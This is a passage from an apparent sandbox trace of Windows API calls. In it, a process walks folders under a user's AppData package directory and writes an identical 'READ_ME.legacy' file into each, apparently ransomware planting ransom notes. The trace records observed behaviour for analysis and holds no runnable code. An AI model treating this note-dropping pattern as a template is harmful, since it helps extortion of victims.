FindNextFileW (in: hFindFile=0x2f61618, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e153f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed1e153f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed1e153f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64840 | out: hHeap=0x520000) returned 1 [0161.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0161.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78b28 [0161.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0161.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64f48 [0161.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78b28 | out: hHeap=0x520000) returned 1 [0161.216] GetLastError () returned 0x12 [0161.216] SetLastError (dwErrCode=0x12) [0161.216] GetLastError () returned 0x12 [0161.216] SetLastError (dwErrCode=0x12) [0161.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0161.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64f48 | out: hHeap=0x520000) returned 1 [0161.216] GetLastError () returned 0x12 [0161.216] SetLastError (dwErrCode=0x12) [0161.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f658b0 [0161.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f658b0 | out: hHeap=0x520000) returned 1 [0161.216] FindNextFileW (in: hFindFile=0x2f61618, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e153f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed1e153f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed1e153f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e40f50 [0161.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41510 | out: hHeap=0x520000) returned 1 [0161.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578588 | out: hHeap=0x520000) returned 1 [0161.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6bbf0 | out: hHeap=0x520000) returned 1 [0161.216] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed207863, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61158 [0161.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0161.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0161.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f797e8 [0161.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0161.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64520 [0161.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f797e8 | out: hHeap=0x520000) returned 1 [0161.217] GetLastError () returned 0x12 [0161.217] SetLastError (dwErrCode=0x12) [0161.217] GetLastError () returned 0x12 [0161.217] SetLastError (dwErrCode=0x12) [0161.217] GetLastError () returned 0x12 [0161.217] SetLastError (dwErrCode=0x12) [0161.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0161.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dad8 [0161.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dad8 | out: hHeap=0x520000) returned 1 [0161.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65950 [0161.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x2f61518 [0161.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f61518 | out: hHeap=0x520000) returned 1 [0161.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0161.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0161.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65950 | out: hHeap=0x520000) returned 1 [0161.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0161.217] FindNextFileW (in: hFindFile=0x2f61158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed207863, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64520 | out: hHeap=0x520000) returned 1 [0161.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0161.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78f68 [0161.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0161.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64520 [0161.218] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78f68 | out: hHeap=0x520000) returned 1 [0161.218] GetLastError () returned 0x12 [0161.218] SetLastError (dwErrCode=0x12) [0161.218] GetLastError () returned 0x12 [0161.218] SetLastError (dwErrCode=0x12) [0161.218] GetLastError () returned 0x12 [0161.218] SetLastError (dwErrCode=0x12) [0161.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0161.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56db30 [0161.218] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56db30 | out: hHeap=0x520000) returned 1 [0161.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65d60 [0161.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x2f61658 [0161.218] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f61658 | out: hHeap=0x520000) returned 1 [0161.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20210 [0161.218] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20210 | out: hHeap=0x520000) returned 1 [0161.218] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65d60 | out: hHeap=0x520000) returned 1 [0161.218] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0161.218] FindNextFileW (in: hFindFile=0x2f61158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x726dcc78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0161.218] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64520 | out: hHeap=0x520000) returned 1 [0161.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0161.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78bb0 [0161.218] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0161.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64f48 [0161.218] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78bb0 | out: hHeap=0x520000) returned 1 [0161.218] GetLastError () returned 0x12 [0161.218] SetLastError (dwErrCode=0x12) [0161.218] GetLastError () returned 0x12 [0161.218] SetLastError (dwErrCode=0x12) [0161.218] GetLastError () returned 0x12 [0161.219] SetLastError (dwErrCode=0x12) [0161.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65d60 [0161.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65ae0 [0161.219] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65d60 | out: hHeap=0x520000) returned 1 [0161.219] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65ae0 | out: hHeap=0x520000) returned 1 [0161.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64840 [0161.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65d60 [0161.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f65010 [0161.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0161.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0161.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0161.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79430 [0161.219] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0161.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64520 [0161.219] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79430 | out: hHeap=0x520000) returned 1 [0161.219] GetLastError () returned 0x12 [0161.219] SetLastError (dwErrCode=0x12) [0161.219] GetLastError () returned 0x12 [0161.219] SetLastError (dwErrCode=0x12) [0161.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0161.219] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64520 | out: hHeap=0x520000) returned 1 [0161.219] GetLastError () returned 0x12 [0161.219] SetLastError (dwErrCode=0x12) [0161.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca9a0 [0161.219] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\ac\\inetcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118c [0161.220] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ca9a0 | out: hHeap=0x520000) returned 1 [0161.220] WriteFile (in: hFile=0x118c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.222] CloseHandle (hObject=0x118c) returned 1 [0161.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0161.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0161.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0161.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65010 | out: hHeap=0x520000) returned 1 [0161.222] FindNextFileW (in: hFindFile=0x2f61158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x726dcc78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0161.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64f48 | out: hHeap=0x520000) returned 1 [0161.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0161.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f796d8 [0161.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0161.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64520 [0161.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f796d8 | out: hHeap=0x520000) returned 1 [0161.222] GetLastError () returned 0x0 [0161.222] SetLastError (dwErrCode=0x0) [0161.222] GetLastError () returned 0x0 [0161.222] SetLastError (dwErrCode=0x0) [0161.222] GetLastError () returned 0x0 [0161.222] SetLastError (dwErrCode=0x0) [0161.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65928 [0161.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f658b0 [0161.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65928 | out: hHeap=0x520000) returned 1 [0161.223] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f658b0 | out: hHeap=0x520000) returned 1 [0161.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64908 [0161.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f658b0 [0161.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f649d0 [0161.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0161.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0161.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0161.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f796d8 [0161.223] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0161.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64f48 [0161.223] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f796d8 | out: hHeap=0x520000) returned 1 [0161.223] GetLastError () returned 0x0 [0161.223] SetLastError (dwErrCode=0x0) [0161.223] GetLastError () returned 0x0 [0161.223] SetLastError (dwErrCode=0x0) [0161.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0161.223] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64f48 | out: hHeap=0x520000) returned 1 [0161.223] GetLastError () returned 0x0 [0161.223] SetLastError (dwErrCode=0x0) [0161.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9210 [0161.223] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\ac\\inetcookies\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118c [0161.224] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30c9210 | out: hHeap=0x520000) returned 1 [0161.224] WriteFile (in: hFile=0x118c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.224] CloseHandle (hObject=0x118c) returned 1 [0161.225] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0161.225] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0161.225] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0161.225] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f649d0 | out: hHeap=0x520000) returned 1 [0161.225] FindNextFileW (in: hFindFile=0x2f61158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x726dcc78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0161.225] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64520 | out: hHeap=0x520000) returned 1 [0161.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0161.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f794b8 [0161.225] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0161.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64520 [0161.225] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f794b8 | out: hHeap=0x520000) returned 1 [0161.225] GetLastError () returned 0x0 [0161.225] SetLastError (dwErrCode=0x0) [0161.225] GetLastError () returned 0x0 [0161.225] SetLastError (dwErrCode=0x0) [0161.225] GetLastError () returned 0x0 [0161.225] SetLastError (dwErrCode=0x0) [0161.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f658d8 [0161.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65928 [0161.225] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f658d8 | out: hHeap=0x520000) returned 1 [0161.225] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65928 | out: hHeap=0x520000) returned 1 [0161.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64f48 [0161.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f658d8 [0161.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f649d0 [0161.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3468 [0161.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0161.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0161.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78b28 [0161.226] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0161.226] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f65010 [0161.226] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78b28 | out: hHeap=0x520000) returned 1 [0161.226] GetLastError () returned 0x0 [0161.226] SetLastError (dwErrCode=0x0) [0161.226] GetLastError () returned 0x0 [0161.226] SetLastError (dwErrCode=0x0) [0161.226] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0161.226] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65010 | out: hHeap=0x520000) returned 1 [0161.226] GetLastError () returned 0x0 [0161.226] SetLastError (dwErrCode=0x0) [0161.226] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca9a0 [0161.226] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\ac\\inethistory\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118c [0161.227] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ca9a0 | out: hHeap=0x520000) returned 1 [0161.227] WriteFile (in: hFile=0x118c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.227] CloseHandle (hObject=0x118c) returned 1 [0161.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0161.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0161.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3468 | out: hHeap=0x520000) returned 1 [0161.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f649d0 | out: hHeap=0x520000) returned 1 [0161.228] FindNextFileW (in: hFindFile=0x2f61158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed207863, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed207863, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed207863, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64520 | out: hHeap=0x520000) returned 1 [0161.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0161.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f795c8 [0161.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0161.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64520 [0161.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f795c8 | out: hHeap=0x520000) returned 1 [0161.228] GetLastError () returned 0x0 [0161.228] SetLastError (dwErrCode=0x0) [0161.228] GetLastError () returned 0x0 [0161.228] SetLastError (dwErrCode=0x0) [0161.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0161.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64520 | out: hHeap=0x520000) returned 1 [0161.228] GetLastError () returned 0x0 [0161.228] SetLastError (dwErrCode=0x0) [0161.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65928 [0161.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65928 | out: hHeap=0x520000) returned 1 [0161.228] FindNextFileW (in: hFindFile=0x2f61158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x726dcc78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0161.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0161.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0161.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79078 [0161.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0161.229] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64520 [0161.229] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79078 | out: hHeap=0x520000) returned 1 [0161.229] GetLastError () returned 0x0 [0161.229] SetLastError (dwErrCode=0x0) [0161.229] GetLastError () returned 0x0 [0161.229] SetLastError (dwErrCode=0x0) [0161.229] GetLastError () returned 0x0 [0161.229] SetLastError (dwErrCode=0x0) [0161.229] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0161.229] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dbe0 [0161.229] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dbe0 | out: hHeap=0x520000) returned 1 [0161.229] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65978 [0161.229] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x2f61658 [0161.229] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f61658 | out: hHeap=0x520000) returned 1 [0161.229] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20120 [0161.229] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20120 | out: hHeap=0x520000) returned 1 [0161.229] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65978 | out: hHeap=0x520000) returned 1 [0161.229] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0161.229] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f649d0 [0161.229] RtlAllocateHeap 